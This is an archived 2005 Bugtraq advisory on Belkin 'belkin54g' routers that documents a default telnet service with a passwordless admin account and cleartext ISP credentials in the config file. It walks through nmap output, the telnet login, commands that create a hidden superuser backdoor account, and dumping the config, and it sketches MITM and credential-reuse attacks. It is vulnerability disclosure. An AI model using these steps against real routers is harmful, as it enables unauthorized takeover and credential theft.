several vulnerabilities present in Belkin wireless routers

From: m123303_at_securityfocus.com, (m123303_at_securityfocus.com)
Date: 07/15/05

  • Next message: Thierry Carrez: "[ GLSA 200507-14 ] Mozilla Firefox: Multiple vulnerabilities" 
    Date: 15 Jul 2005 08:14:14 -0000
To: bugtraq@securityfocus.com
    ('binary' encoding is not supported, stored as-is) -----BEGIN PGP SIGNED MESSAGE-----
    Hash: SHA1

    Advisory name:
    several vulnerabilities present in Belkin wireless routers

    Overall severity rating:
    HIGH risk

    Devices affected:
    "belkin54g" family of wireless routers

    4 main vulnerabilities are included in this advisory:
    - - default telnet backdoor
    - - password-less administrative account
    - - verbose messages in telnet sessions reveal filesystem structure and
    possible "interesting" files
    - - cleartext sensitive information stored in config file (config.icf)

    Date:
    July 15, 2005

    Author:
    pagvac (Adrian Pastor)

    Description:
    I've been able to identify several important vulnerabilities in
    different Belkin wireless routers. These vulnerabilities have been
    tested and verified in at least three different Belkin wireless
    router models which are very similar, not only in the way they look
    but also in their functionalities.

    These Belkin wireless routers are quite popular among home users
    probably due to their affordable price and easiness of use. This
    means that the following vulnerabilities and exploits should be
    present in a big number of devices available out there which should
    be very easy to find for wardrivers.

    Note: these routers use a default SSID of "belkin54g".

    - From here, I'd like to encourage other computer security enthusiasts
    to test what I found in their Belkin wireless routers and also let
    everyone know that positive and negative comments about the content
    of this advisory are welcome.

    The first problem is the existance of a default telnet backdoor
    running on the usual 23/tcp port. From my experience, telnet
    interfaces are NOT enabled by default in wireless routers but rather,
    they usually need to be enabled from their administrative web
    interfaces manually:

    <Start of output>

    Starting nmap 3.75 ( http://www.insecure.org/nmap/ ) at 2005-06-06
    18:34 BST
    Initiating SYN Stealth Scan against BelkinModem.Belkin (192.168.2.1)
    [1663 ports] at 18:34
    Discovered open port 53/tcp on 192.168.2.1
    Discovered open port 80/tcp on 192.168.2.1
    Discovered open port 23/tcp on 192.168.2.1
    The SYN Stealth Scan took 1.93s to scan 1663 total ports.
    Initiating UDP Scan against BelkinModem.Belkin (192.168.2.1) [1478
    ports] at 18:34
    The UDP Scan took 1.92s to scan 1478 total ports.
    Host BelkinModem.Belkin (192.168.2.1) appears to be up ... good.
    Interesting ports on BelkinModem.Belkin (192.168.2.1):
    (The 3133 ports scanned but not shown below are in state: closed)
    PORT STATE SERVICE
    23/tcp open telnet
    53/tcp open domain
    53/udp open|filtered domain
    67/udp open|filtered dhcpserver
    80/tcp open http
    123/udp open|filtered ntp
    520/udp open|filtered route
    1900/udp open|filtered UPnP
    MAC Address: 00:11:50:XX:XX:XX (Belkin)

    </End of output>

    This device is usually configured with a default IP address of
    192.168.2.1. The interesting thing about the telnet interface in this
    case is that it provides users with many powerful commands that are
    NOT accessible through the administrative web interface. Again, let
    me remind you that the telnet service is running straight out of the
    box so no user intervention is needed.

    The telnet service, just like the web interface, can be accessed by
    default with root privileges using a "null" password. When I say
    "null" I mean empty, in other words: no password. The difference is
    that the web interface sends the username to the system so only the
    password is required from the user. In this case, all the user needs
    to do is click on the "Submit" button after accessing
    http://192.168.2.1 without entering any password AT ALL. In the case
    of the telnet service, the authentication is different in the sense
    that the system prompts the user for BOTH, username and password. The
    right combination is admin/"null", where "null" is an empty password
    (just press <enter> when prompted for password):

    <Start of output>

    # telnet 192.168.2.1

    Trying 192.168.2.1...
    Connected to 192.168.2.1.
    Escape character is '^]'.

                    ,vvvdP9P???^ ,,,
                  vvd###P^`^ vvvvv v
             vv#####?^ ????####vv,
          vv####?? ,vvvdP???^ ,,, ??##^
         v#####? ,vvd##P?^ #?#v#vvv
       v#####? v###P^ ,vvv, '?#?,
      ######? ####?^ ,vd#P?^ `???##
      #####? v#### ,d##P^ ''
     ###### v#### ]###L _ _ _
         ___
     #####? v#### ]##L / / \ |\ | |_ \/ /\
    |\ | |
     ###### #### ]###L \_ \_/ | \| |_ /\ /--\
    | \| |
     ?#####v ####v ]##h, ,,
      ?##### ?###h, `9#hv, ,vv###
        ###### #####L ]###L ,v#v'
        ?#####vv ?9##hv, ,,vvvv###'
           ?#####vv `??9P\vv, ^ vv##,
              ###### #######L
                ??###hvv, ,vvv#?##?????
                    `????9hdhvv,

    Login: admin
    <enter>
    </End of output>

    As it can be seen, the OS firmware is developed by Conexant, although
    the routers themselves are from Belkin. After researching on both
    Belkin and Conexant websites I found nothing about the OS running in
    these devices and ways to configure them through telnet. However, the
    console mode shows many tools that are available in GNU/Linux
    systems, indicating that this is the type of system running behind
    the scenes.

    After logging in, the user is immediately granted root privileges on
    the system. There are many interesting things an attacker can do at
    this point. Most of the interesting functions are under the "system"
    commands menu. In order to see all the available commands enter "?".

    <Start of output>

    - --> ?
    802.1x 802.1x port based authentication
    agent Get a file from a remote host
    autoprov
    bridge Configure layer 2 bridge
    console Console access
    dhcpclient DHCP client configuration commands
    dhcpserver DHCP server configuration commands
    diagnosticTest
    dnsclient DNS client configuration commands
    dnsrelay DNS relay configuration
    ethernet Commands to configure ethernet transports
    firewall Firewall configuration commands
    help Top level CLI help
    igmp
    imdebug Directly access the information model
    ip Configure IP router
    logger Log to a remote host using syslog
    nat NAT configuration commands
    port Physical port configuration commands
    pppoa PPP over ATM configuration
    pppoe
    radclient RADIUS Client Configuration commands
    rfc1483 Commands to configure RFC1483 transports
    security Security configuration commands not specific to NAT
    or firewall
    sntpclient Simple Network Time Protocol Client commands
    source Read a file of commands
    system System administration commands
    transports Transport configuration commands
    upnp UPnP configuration commands
    user User commands
    webserver Webserver configuration commands
    wpa Configure WPA (Wireless Protected Access)
    - -->

    </End of output>

    To see the available flags/options for a certain command, enter the
    name of the command followed by "?" again and so on:

    <Start of output>

    - --> system ?
    add Add a user to the system
    auto-update Update device firmware automatically from a remote
    server
    config Configuration file maintenance
    cpuload Show current CPU loading
    delete Remove system users
    info Display hardware/software information
    legal
    list List system information
    log Set logging options
    restart Restart system (same as pressing reset)
    set Set user privileges

    </End of output>

    The first exploit an attacker could perform is to add a backdoor
    account with administrative privileges:

    <Start of output>

    - --> system list logins

    Users:
                          May May conf. May Access
     ID | Name | Conf. | web | Dialin | Level |
    Comment
    - -----|------------|----------|----------|----------|------------|-----
    - --------
       1 | admin | ENABLED | ENABLED | disabled | superuser |
    Admin user
    - ----------------------------------------------------------------------
    - ---------

    - --> system set user guest access superuser

    - --> system list logins

    Users:
                          May May conf. May Access
     ID | Name | Conf. | web | Dialin | Level |
    Comment
    - -----|------------|----------|----------|----------|------------|-----
    - --------
       1 | admin | ENABLED | ENABLED | disabled | superuser |
    Admin user
       2 | guest | ENABLED | ENABLED | disabled | superuser |
    Created by CLI
    - ----------------------------------------------------------------------
    - ---------

    - --> system set login guest maydialin enabled

    - --> system list logins

    Users:
                          May May conf. May Access
     ID | Name | Conf. | web | Dialin | Level |
    Comment
    - -----|------------|----------|----------|----------|------------|-----
    - --------
       1 | admin | ENABLED | ENABLED | disabled | superuser |
    Admin user
       2 | guest | ENABLED | ENABLED | ENABLED | superuser |
    Created by CLI
    - ----------------------------------------------------------------------
    - ---------

    <End of output>

    In this case the attacker first lists the avaialable accounts on the
    system and then creates an acccount called "guest" assigning
    superuser privileges to it. After that, the attacker also gives
    dialin permissions to this new backdoor account. In reality, if an
    attacker doesn't want to be loud, he/she would probably use an
    account name that doesn't attract the attention from the owner of the
    router. Such account could be called something like "test", "guest",
    "manager", "default", "root", or "administrator". In this case the
    attacker chose "guest".

    I'd like to say that I don't exactly know what the system means by
    "May Dialin". I simply confirmed during my tests that an attacker can
    indeed assign "dialin" privileges to a newly created superuser
    account and use it to connect to the router through the telnet
    interface with root privileges.

    I suspect that the "dialin" permissions are related to either one of
    the following:

    - - permissions to allow a given account to connect to the router
    - - a dialin interface which can be used by the administrator to dial
    the router from the PSTN (telephone network) provided that the router
    is connected to a telephone line.

    If anyone has played with this option in Belkin routers, please send
    me your comments. Due to the lack of documentation available about
    the telnet interface of these routers, I could not find further
    information on "dialin" permissions.

    After adding the backdoor account the attacker can log into the
    router through telnet using this new account. After that, the
    attacker can add a password with the "user password" command:

    <Start of output>

    - --> user password
    Enter new password: ********
       Again to verify: ********

    </End of output>

    The second interesting thing that an attacker could do is to browse
    the filesystem and dump the config file on the screen. The default
    name of the config file of these routers is "config.icf". This file
    can be obtained in two ways:

    - - from the web interface (http://192.168.2.1) by clicking on "Save
    configuration"
    - - through the telnet interface by browsing the filesystem in the
    "console enable" mode

    After accessing the "console enable" mode the user is provided with a
    bunch of powerful commands, including popular Linux/GNU tools such as
    "cat". This is how to access the console mode (notice how "?" is used
    to list available options for the "console" command):

    <Start of output>

    - --> console ?
    enable Enter console mode
    process Execute console command

    - --> console enable
    Switching from CLI to console mode - type 'exit' to return

    Quantum>

    </End of output>

    The way I found where the config file was located was NOT by browsing
    the filesystem manually with "cd" and "ls" commands, but rather by
    exploiting an interesting behavior of these routers. Basically, when
    you save configuration files from the web interface, make invalid
    http requests, or save system settings (from the web interface as
    well), the system will dump messages on the telnet interface. For
    instance, if you connect to the telnet service and save the
    configuration settings from the web interface, the following message
    will be dumped on the telnet session:

    <Start of output>

    Saving to backup configuration //isfs/im.conf.backup

    </End of output>

    The following error was dumped after playing with invalid requests:

    <Start of output>

    Quantum> webserver: ewsServeEmWebInclude: '/shared/header_start.html'
    not found or wrong type

    </End of output>

    I suggest playing with the web interface while having the telnet
    session open to find interesting files and directories as an
    alternative to manually browsing the filesystem. Also, it might be
    fun to try MITM proxy attacks against the router's web interface with
    tools such as Achilles or Paros. This would allow us to modify the
    inputs included in the POST requests which would normally be
    restricted by the client-side forms. Doing this should hopefully dump
    some interesting errors on the telnet session.

    The following are some of the directories present in the filesystem:

    /isfs/
    /shared/
    /webconfig/images/
    /webconfig/styles/
    /webconfig/styles/
    /webconfig/update/

    Many tools are available in the "console enable" mode. In this case,
    I used "cat" to dump sensitive information found in the config file.
    Remember that a backup of the configuration file can be obtained from
    /isfs/im.conf.backup.

    Interesting things which I found in these file are the following:
    - - hostnames and IP addresses from the DNS table (these are computers
    that are connected in the present and have been connected in the
    past to the router)
    - - ISP account configuration including username and password (yes,
    this is all in cleartext as well!)

    The following output is an example of DNS entries extracted from the
    config file. Note that the original MAC addresses, hostnames,
    username and password have been modified for privacy reasons:

    <Start of output>

    N ImDnsRelayLanHostEntry
    ImDnsRelay.ImDnsRelayLanHostEntries.computerName1ipv4
            A hostName computerName1
            A ipaddr 192.168.2.21
            A macAddress XX:XX:XX:XX:XX:XX
    N ImDnsRelayLanHostEntry
    ImDnsRelay.ImDnsRelayLanHostEntries.computerName2ipv4
            A hostName computerName2
            A ipaddr 192.168.2.6
            A macAddress XX:XX:XX:XX:XX:XX
    N ImDnsRelayLanHostEntry
    ImDnsRelay.ImDnsRelayLanHostEntries.computerName3ipv4
            A hostName computerName3
            A ipaddr 192.168.2.4
            A macAddress XX:XX:XX:XX:XX:XX
    N ImDnsRelayLanHostEntry
    ImDnsRelay.ImDnsRelayLanHostEntries.computerName4ipv4
            A hostName computerName4
            A ipaddr 192.168.2.7
            A macAddress XX:XX:XX:XX:XX:XX

    </End of output>

    The following are some of the settings related to the ISP account
    configuration including sensitive information such as username and
    password in the clear:

    <Start of output>

    A weLoginName myname.mysurname@adsl.ispdomain.com
    A weLoginPassword this-is-my-password-in-the-clear
    A weLoginAuth chap

    </End of output>

    I'd like to stress that the consequences of storing the username,
    password and authentication protocol in the clear can be exploited in
    very malicious ways. For instance, the first thing that an attacker
    can exploit is the fact that ISPs usually give users some web
    services after they get their DSL connections set up. I'm talking
    about things such as webmail and account management services. By
    default, these services use the same password as the one used on the
    ISP account (which can be obtained from the config file). In other
    cases, these passwords also remain the same because it's just easier
    for users to have the same password for all their ISP-related
    accounts.

    Also, let's remember that the same password could also be used by the
    user in other services such as messengers, ftp servers and so on.
    This type of information could be easily obtained by an attacker
    sniffing the network either with a wireless sniffer such as Airopeek
    NX or by performing a MITM attack through ARP poisoning with a tool
    like Cain.

    I'm sure that if other people play more with these routers they can
    find other vulnerabilities, exploits and interesting functions.
    Personally, I was surprised by the power that these Belkin routers
    give you once they're accessed through the telnet interface.

    Because most of these "belkin54" family of routers give you root
    privileges by default through the telnet interface, it is really up
    to the attacker on what to exploit. It's just a matter of imagination
    and curiosity. Some ideas could include redirecting users to the
    router's web server whose files could be previously replaced by
    scripts that would exploit the latest vulnerabilities present in the
    most popular web browsers.

    -----BEGIN PGP SIGNATURE-----
    Version: PGP 8.1 - not licensed for commercial use: www.pgp.com

    iQA/AwUBQtdtRbteQP8gtTAfEQLVbgCdG3Txno+dGhLtmvAytTrYtVwqHW0AoMIK
    Yknf7sFxGJw7hbIK1oX642EB
    =5Mdx
    -----END PGP SIGNATURE-----

  • Next message: Thierry Carrez: "[ GLSA 200507-14 ] Mozilla Firefox: Multiple vulnerabilities"